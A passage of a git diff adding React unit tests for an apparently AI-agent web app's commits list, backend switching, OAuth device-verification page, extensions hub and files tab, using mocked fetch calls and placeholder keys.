+    render(<GitCommits />, { wrapper });
+
+    // Assert
+    expect(screen.getByTestId("commits-tab-status")).toBeInTheDocument();
+  });
+
+  it("shows the empty state when the repository has no commits", async () => {
+    // Arrange
+    getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false });
+
+    // Act
+    render(<GitCommits />, { wrapper });
+
+    // Assert
+    expect(
+      await screen.findByText("DIFF_VIEWER$NO_COMMITS"),
+    ).toBeInTheDocument();
+  });
+
+  it("lists the commits returned by the server", async () => {
+    // Arrange
+    getGitCommitsSpy.mockResolvedValue({
+      commits: [
+        makeCommit({ sha: "a".repeat(40), subject: "add logging" }),
+        makeCommit({
+          sha: "b".repeat(40),
+          shortSha: "bbbbbbb",
+          subject: "fix tests",
+        }),
+      ],
+      hasMore: false,
+    });
+
+    // Act
+    render(<GitCommits />, { wrapper });
+
+    // Assert
+    expect(await screen.findByText("add logging")).toBeInTheDocument();
+    expect(screen.getByText("fix tests")).toBeInTheDocument();
+    expect(screen.getByText("aaaaaaa")).toBeInTheDocument();
+    expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument();
+  });
+
+  it("shows Uncommitted alone when there are working-tree changes but no commits", async () => {
+    // Arrange
+    getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false });
+    getGitChangesSpy.mockResolvedValue([{ path: "src/a.ts", status: "M" }]);
+
+    // Act
+    render(<GitCommits />, { wrapper });
+
+    // Assert
+    expect(
+      await screen.findByTestId("uncommitted-changes-row"),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("commit-row")).not.toBeInTheDocument();
+  });
+
+  it("expanding a commit fetches and lists the files it changed", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const sha = "a".repeat(40);
+    getGitCommitsSpy.mockResolvedValue({
+      commits: [makeCommit({ sha })],
+      hasMore: false,
+    });
+    getCommitChangesSpy.mockResolvedValue([
+      { status: "D", path: "doomed.txt" },
+    ]);
+    render(<GitCommits />, { wrapper });
+    await screen.findByText("add logging");
+
+    // Act
+    await user.click(screen.getByTestId("commit-row-toggle"));
+
+    // Assert — the commit's file list is fetched by sha and rendered.
+    await waitFor(() =>
+      expect(getCommitChangesSpy).toHaveBeenCalledWith(
+        conversation.conversation_url,
+        conversation.session_api_key,
+        "/workspace/project",
+        sha,
+      ),
+    );
+    expect(await screen.findByText("doomed.txt")).toBeInTheDocument();
+  });
+
+  it("shows the cap notice when the history was truncated", async () => {
+    // Arrange
+    getGitCommitsSpy.mockResolvedValue({
+      commits: [makeCommit()],
+      hasMore: true,
+    });
+
+    // Act
+    render(<GitCommits />, { wrapper });
+
+    // Assert
+    expect(
+      await screen.findByTestId("commit-list-cap-notice"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/conversation-backend-switch.test.tsx b/__tests__/routes/conversation-backend-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a1a4d97849315a9ee6fb88be87755e5bbe01a3e3
--- /dev/null
+++ b/__tests__/routes/conversation-backend-switch.test.tsx
@@ -0,0 +1,166 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor } from "@testing-library/react";
+import { MemoryRouter } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { NavigationProvider } from "#/context/navigation-context";
+import ConversationView from "#/routes/conversation";
+import type { Backend } from "#/api/backend-registry/types";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock the underlying service the conversation queries depend on.
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: { batchGetAppConversations: vi.fn() },
+  }),
+);
+
+// Stub the heavy presentational subtree so the test focuses on the route's
+// teardown behaviour, not the conversation UI.
+vi.mock(
+  "#/components/features/conversation/conversation-main/conversation-main",
+  () => ({
+    ConversationMain: () => <div data-testid="conversation-main" />,
+  }),
+);
+vi.mock(
+  "#/components/features/conversation/conversation-main/conversation-mobile-panel-page",
+  () => ({
+    ConversationMobilePanelPage: () => <div data-testid="conversation-panel" />,
+  }),
+);
+vi.mock("#/wrapper/event-handler", () => ({
+  EventHandler: ({ children }: { children: React.ReactNode }) => (
+    <>{children}</>
+  ),
+}));
+vi.mock("#/contexts/websocket-provider-wrapper", () => ({
+  WebSocketProviderWrapper: ({ children }: { children: React.ReactNode }) => (
+    <>{children}</>
+  ),
+}));
+vi.mock("#/hooks/query/use-task-polling", () => ({
+  useTaskPollingController: () => ({
+    isTask: false,
+    taskStatus: null,
+    taskDetail: null,
+  }),
+}));
+vi.mock("#/hooks/query/use-is-authed", () => ({
+  useIsAuthed: () => ({ data: true }),
+}));
+vi.mock("#/api/cloud/conversation-service.api", () => ({
+  resumeCloudSandbox: vi.fn(),
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const CLOUD_CONVERSATION_ID = "conv-cloud";
+
+function makeConversation(id: string): AppConversation {
+  return {
+    id,
+    created_by_user_id: null,
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: null,
+    title: "Test",
+    trigger: null,
+    pr_number: [],
+    llm_model: null,
+    metrics: null,
+    created_at: "2024-01-01T00:00:00Z",
+    updated_at: "2024-01-01T00:00:00Z",
+    execution_status: null,
+    sandbox_status: null,
+    conversation_url: "https://sandbox.example.com/api",
+    session_api_key: null,
+    sandbox_id: null,
+    sub_conversation_ids: [],
+  };
+}
+
+function renderConversation() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <MemoryRouter initialEntries={[`/conversations/${CLOUD_CONVERSATION_ID}`]}>
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>
+          <NavigationProvider
+            value={{
+              currentPath: `/conversations/${CLOUD_CONVERSATION_ID}`,
+              conversationId: CLOUD_CONVERSATION_ID,
+              isNavigating: false,
+              navigate: vi.fn(),
+            }}
+          >
+            <ConversationView />
+          </NavigationProvider>
+        </ActiveBackendProvider>
+      </QueryClientProvider>
+    </MemoryRouter>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(
+    AgentServerConversationService.batchGetAppConversations,
+  ).mockReset();
+  vi.mocked(
+    AgentServerConversationService.batchGetAppConversations,
+  ).mockResolvedValue([makeConversation(CLOUD_CONVERSATION_ID)]);
+  setRegisteredBackends([localBackend, cloudBackend]);
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("conversation route — backend switch", () => {
+  it("tears down the conversation view when the active backend changes mid-conversation", async () => {
+    // Arrange — the cloud conversation renders while the cloud backend is active.
+    setActiveSelection({ backendId: cloudBackend.id });
+    renderConversation();
+    expect(
+      await screen.findByTestId("conversation-main"),
+    ).toBeInTheDocument();
+
+    // Act — switch to the local backend without leaving the conversation.
+    setActiveSelection({ backendId: localBackend.id });
+
+    // Assert — the subtree unmounts instead of rendering the cloud
+    // conversation under the local backend, so its per-conversation queries
+    // cannot fire against a backend the id is foreign to.
+    await waitFor(() => {
+      expect(screen.queryByTestId("conversation-main")).not.toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/routes/device-verify.test.tsx b/__tests__/routes/device-verify.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..248f28665a7adc52a53b3ab38d4b217aad13ff02
--- /dev/null
+++ b/__tests__/routes/device-verify.test.tsx
@@ -0,0 +1,595 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { createRoutesStub } from "react-router";
+import DeviceVerify from "#/routes/device-verify";
+
+const { useIsAuthedMock } = vi.hoisted(() => ({
+  useIsAuthedMock: vi.fn(() => ({
+    data: false as boolean | undefined,
+    isLoading: false,
+  })),
+}));
+
+vi.mock("#/hooks/query/use-is-authed", () => ({
+  useIsAuthed: () => useIsAuthedMock(),
+}));
+
+const RouterStub = createRoutesStub([
+  {
+    Component: DeviceVerify,
+    path: "/device-verify",
+  },
+]);
+
+const createWrapper = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: {
+        retry: false,
+      },
+    },
+  });
+
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    );
+  }
+
+  return Wrapper;
+};
+
+describe("DeviceVerify", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.stubGlobal("close", vi.fn());
+    // Mock fetch for API calls
+    vi.stubGlobal(
+      "fetch",
+      vi.fn(() =>
+        Promise.resolve({
+          ok: true,
+          json: () => Promise.resolve({}),
+        }),
+      ),
+    );
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+    vi.unstubAllGlobals();
+  });
+
+  describe("Loading State", () => {
+    it("should show loading spinner while checking authentication", async () => {
+      useIsAuthedMock.mockReturnValue({
+        data: undefined,
+        isLoading: true,
+      });
+
+      render(<RouterStub initialEntries={["/device-verify"]} />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        const spinner = document.querySelector(".animate-spin");
+        expect(spinner).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$PROCESSING")).toBeInTheDocument();
+    });
+  });
+
+  describe("Not Authenticated State", () => {
+    it("should show authentication required message when not authenticated", async () => {
+      useIsAuthedMock.mockReturnValue({
+        data: false,
+        isLoading: false,
+      });
+
+      render(<RouterStub initialEntries={["/device-verify"]} />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(screen.getByText("DEVICE$AUTH_REQUIRED")).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$SIGN_IN_PROMPT")).toBeInTheDocument();
+    });
+  });
+
+  describe("Authenticated without User Code", () => {
+    it("should show manual code entry form when authenticated but no code in URL", async () => {
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      render(<RouterStub initialEntries={["/device-verify"]} />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(
+          screen.getByText("DEVICE$AUTHORIZATION_TITLE"),
+        ).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$ENTER_CODE_PROMPT")).toBeInTheDocument();
+      expect(screen.getByLabelText("DEVICE$CODE_INPUT_LABEL")).toBeInTheDocument();
+      expect(
+        screen.getByRole("button", { name: "DEVICE$CONTINUE" }),
+      ).toBeInTheDocument();
+    });
+
+    it("should submit manually entered code", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: true,
+          json: () => Promise.resolve({}),
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(<RouterStub initialEntries={["/device-verify"]} />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(screen.getByLabelText("DEVICE$CODE_INPUT_LABEL")).toBeInTheDocument();
+      });
+
+      const input = screen.getByLabelText("DEVICE$CODE_INPUT_LABEL");
+      await user.type(input, "TESTCODE");
+
+      const submitButton = screen.getByRole("button", {
+        name: "DEVICE$CONTINUE",
+      });
+      await user.click(submitButton);
+
+      await waitFor(() => {
+        expect(mockFetch).toHaveBeenCalledWith(
+          "/oauth/device/verify-authenticated",
+          expect.objectContaining({
+            method: "POST",
+            headers: {
+              "Content-Type": "application/x-www-form-urlencoded",
+            },
+            body: "user_code=TESTCODE",
+            credentials: "include",
+          }),
+        );
+      });
+    });
+  });
+
+  describe("Authenticated with User Code", () => {
+    it("should show authorization confirmation when authenticated with code in URL", async () => {
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByText("DEVICE$AUTHORIZATION_REQUEST"),
+        ).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$CODE_LABEL")).toBeInTheDocument();
+      expect(screen.getByText("ABC-123")).toBeInTheDocument();
+      expect(screen.getByText("DEVICE$SECURITY_NOTICE")).toBeInTheDocument();
+      expect(screen.getByText("DEVICE$SECURITY_WARNING")).toBeInTheDocument();
+      expect(screen.getByText("DEVICE$CONFIRM_PROMPT")).toBeInTheDocument();
+    });
+
+    it("should show cancel and authorize buttons", async () => {
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$CANCEL" }),
+        ).toBeInTheDocument();
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("should call window.close when cancel button is clicked", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$CANCEL" }),
+        ).toBeInTheDocument();
+      });
+
+      const cancelButton = screen.getByRole("button", { name: "DEVICE$CANCEL" });
+      await user.click(cancelButton);
+
+      expect(window.close).toHaveBeenCalled();
+    });
+
+    it("should submit device verification when authorize button is clicked", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: true,
+          json: () => Promise.resolve({}),
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(mockFetch).toHaveBeenCalledWith(
+          "/oauth/device/verify-authenticated",
+          expect.objectContaining({
+            method: "POST",
+            headers: {
+              "Content-Type": "application/x-www-form-urlencoded",
+            },
+            body: "user_code=ABC-123",
+            credentials: "include",
+          }),
+        );
+      });
+    });
+  });
+
+  describe("Processing State", () => {
+    it("should show processing spinner during verification", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      // Make fetch hang to show processing state
+      const mockFetch = vi.fn(() => new Promise(() => {}));
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        const spinner = document.querySelector(".animate-spin");
+        expect(spinner).toBeInTheDocument();
+        expect(screen.getByText("DEVICE$PROCESSING")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Success State", () => {
+    it("should show success message after successful verification", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: true,
+          json: () => Promise.resolve({}),
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(screen.getByText("DEVICE$SUCCESS_TITLE")).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$SUCCESS_MESSAGE")).toBeInTheDocument();
+      // Should show success icon (checkmark)
+      const successIcon = document.querySelector(".text-green-600");
+      expect(successIcon).toBeInTheDocument();
+    });
+
+    it("should not show try again button on success", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: true,
+          json: () => Promise.resolve({}),
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(screen.getByText("DEVICE$SUCCESS_TITLE")).toBeInTheDocument();
+      });
+
+      expect(
+        screen.queryByRole("button", { name: "DEVICE$TRY_AGAIN" }),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Error State", () => {
+    it("should show error message when verification fails with non-ok response", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: false,
+          status: 400,
+          json: () => Promise.resolve({ error: "invalid_code" }),
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=INVALID"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(screen.getByText("DEVICE$ERROR_TITLE")).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$ERROR_FAILED")).toBeInTheDocument();
+      // Should show error icon (X)
+      const errorIcon = document.querySelector(".text-red-600");
+      expect(errorIcon).toBeInTheDocument();
+    });
+
+    it("should show error message when fetch throws an exception", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() => Promise.reject(new Error("Network error")));
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=ABC-123"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(screen.getByText("DEVICE$ERROR_TITLE")).toBeInTheDocument();
+      });
+
+      expect(screen.getByText("DEVICE$ERROR_OCCURRED")).toBeInTheDocument();
+    });
+
+    it("should show try again button on error", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: false,
+          status: 400,
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=INVALID"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$TRY_AGAIN" }),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("should reload page when try again button is clicked", async () => {
+      const user = userEvent.setup();
+      useIsAuthedMock.mockReturnValue({
+        data: true,
+        isLoading: false,
+      });
+
+      const mockFetch = vi.fn(() =>
+        Promise.resolve({
+          ok: false,
+          status: 400,
+        }),
+      );
+      vi.stubGlobal("fetch", mockFetch);
+
+      const reloadMock = vi.fn();
+      vi.stubGlobal("location", { reload: reloadMock });
+
+      render(
+        <RouterStub initialEntries={["/device-verify?user_code=INVALID"]} />,
+        {
+          wrapper: createWrapper(),
+        },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$AUTHORIZE" }),
+        ).toBeInTheDocument();
+      });
+
+      const authorizeButton = screen.getByRole("button", {
+        name: "DEVICE$AUTHORIZE",
+      });
+      await user.click(authorizeButton);
+
+      await waitFor(() => {
+        expect(
+          screen.getByRole("button", { name: "DEVICE$TRY_AGAIN" }),
+        ).toBeInTheDocument();
+      });
+
+      const tryAgainButton = screen.getByRole("button", {
+        name: "DEVICE$TRY_AGAIN",
+      });
+      await user.click(tryAgainButton);
+
+      expect(reloadMock).toHaveBeenCalled();
+    });
+  });
+});
diff --git a/__tests__/routes/extensions-hub.test.tsx b/__tests__/routes/extensions-hub.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cc9506faf8e88406635255d9e100b90fedc901bf
--- /dev/null
+++ b/__tests__/routes/extensions-hub.test.tsx
@@ -0,0 +1,35 @@
+import { render } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockNavigate = vi.fn();
+const mockUseBreakpoint = vi.fn();
+
+vi.mock("react-router", () => ({
+  Navigate: (props: { to: string; replace?: boolean }) => {
+    mockNavigate(props);
+    return null;
+  },
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => mockUseBreakpoint(),
+}));
+
+vi.mock("#/components/features/skills/extensions-mobile-hub", () => ({
+  ExtensionsMobileHub: () => <div data-testid="extensions-mobile-hub" />,
+}));
+
+import ExtensionsHub from "#/routes/extensions-hub";
+
+describe("ExtensionsHub", () => {
+  beforeEach(() => {
+    mockNavigate.mockReset();
+    mockUseBreakpoint.mockReturnValue(false);
+  });
+
+  it("redirects desktop Customize navigation to MCP Servers", () => {
+    render(<ExtensionsHub />);
+
+    expect(mockNavigate).toHaveBeenCalledWith({ to: "/mcp", replace: true });
+  });
+});
diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..27afdf3f24edadbbfb974d919f4566864d67aad8
--- /dev/null
+++ b/__tests__/routes/files-tab.test.tsx
@@ -0,0 +1,580 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { MemoryRouter } from "react-router";
+
+import FilesTab from "#/routes/files-tab";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+import { NavigationProvider } from "#/context/navigation-context";
+import {
+  LOCAL_STORAGE_KEYS,
+  setConversationState,
+} from "#/utils/conversation-local-storage";
+
+// Mocks must be declared before the SUT is imported.
+const useWorkspaceFilesMock = vi.fn();
+const useWorkspaceFileContentMock = vi.fn();
+const useActiveConversationMock = vi.fn();
+
+vi.mock("#/hooks/query/use-workspace-files", () => ({
+  useWorkspaceFiles: () => useWorkspaceFilesMock(),
+}));
+
+vi.mock("#/hooks/query/use-workspace-file-content", () => ({
+  useWorkspaceFileContent: (path: string | null) =>
+    useWorkspaceFileContentMock(path),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+function renderTab(conversationId: string | null = null) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <MemoryRouter>
+      <NavigationProvider
+        value={{
+          currentPath: "/",
+          conversationId,
+          isNavigating: false,
+          navigate: () => {},
+        }}
+      >
+        <QueryClientProvider client={client}>
+          <FilesTab />
+        </QueryClientProvider>
+      </NavigationProvider>
+    </MemoryRouter>,
+  );
+}
+
+function openFile(path: string, conversationId: string | null = null) {
+  useFilesTabStore.getState().setSelectedPath(path, conversationId);
+}
+
+describe("FilesTab", () => {
+  beforeEach(() => {
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+    localStorage.clear();
+
+    useWorkspaceFilesMock.mockReset();
+    useWorkspaceFileContentMock.mockReset();
+    useActiveConversationMock.mockReset();
+
+    useWorkspaceFilesMock.mockReturnValue({
+      data: ["index.html", "src/main.ts", "README.md"],
+      isLoading: false,
+    });
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "index.html",
+        kind: "text",
+        text: "<!doctype html><html><body>hello</body></html>",
+        staticUrl:
+          "http://localhost:3000/api/conversations/c1/workspace/index.html",
+        mimeType: "text/html",
+      },
+      isLoading: false,
+      isError: false,
+    });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        workspace: { working_dir: "/workspace/project" },
+      },
+    });
+  });
+
+  it("renders the file browser without a Diff/Commits toggle", () => {
+    renderTab();
+
+    expect(screen.getByTestId("files-tab")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("files-tab-content-mode-toggle"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("files-tab-diff-toggle"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not open file tabs until a file is selected", () => {
+    renderTab();
+
+    expect(useWorkspaceFileContentMock).toHaveBeenCalledWith(null);
+    expect(screen.queryByRole("tab")).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("file-quick-row-tree-toggle"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows the active conversation workspace path", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        workspace: { working_dir: "/workspace/project/worktree-123" },
+      },
+    });
+
+    renderTab();
+
+    expect(
+      screen.getByTestId("files-tab-workspace-path-value"),
+    ).toHaveTextContent("/workspace/project/worktree-123");
+  });
+
+  it("opens a tab when a file is selected and closes it from the tab strip", async () => {
+    const user = userEvent.setup();
+    openFile("src/main.ts");
+    renderTab();
+
+    expect(
+      screen.getByTestId("file-quick-row-item-src/main.ts"),
+    ).toBeInTheDocument();
+    expect(screen.getByRole("tab", { selected: true })).toHaveTextContent(
+      "main.ts",
+    );
+
+    await user.click(screen.getByTestId("file-quick-row-close-src/main.ts"));
+
+    expect(
+      screen.queryByTestId("file-quick-row-item-src/main.ts"),
+    ).not.toBeInTheDocument();
+    expect(useFilesTabStore.getState().selectedPath).toBeNull();
+    expect(useFilesTabStore.getState().openPaths).toEqual([]);
+  });
+
+  it("keeps vertical edges on every open tab", () => {
+    openFile("README.md");
+    openFile("src/main.ts");
+    renderTab();
+
+    const firstTab = screen.getByTestId(
+      "file-quick-row-item-README.md",
+    ).parentElement;
+    const secondTab = screen.getByTestId(
+      "file-quick-row-item-src/main.ts",
+    ).parentElement;
+    expect(firstTab).toHaveClass("border-l");
+    expect(firstTab).toHaveClass("border-r");
+    expect(secondTab).toHaveClass("border-r");
+  });
+
+  it("renders the binary fallback in plain mode for binary files", async () => {
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "logo.png",
+        kind: "binary",
+        text: null,
+        staticUrl:
+          "http://localhost:3000/api/conversations/c1/workspace/logo.png",
+        mimeType: "application/octet-stream",
+      },
+      isLoading: false,
+      isError: false,
+    });
+    const user = userEvent.setup();
+
+    openFile("logo.png");
+    renderTab();
+
+    await user.click(
+      screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+    );
+
+    expect(
+      screen.getByTestId("file-content-viewer-binary-fallback"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows the file name (not the full path) on quick-row tabs", () => {
+    openFile("src/main.ts");
+    renderTab();
+
+    const tab = screen.getByTestId("file-quick-row-item-src/main.ts");
+    expect(tab).toHaveTextContent("main.ts");
+    expect(tab).toHaveAttribute("title", "src/main.ts");
+    expect(tab).toHaveAttribute("role", "tab");
+  });
+
+  it("shows the file tree by default and collapses it via the caret", async () => {
+    const user = userEvent.setup();
+
+    renderTab();
+
+    expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
+    expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
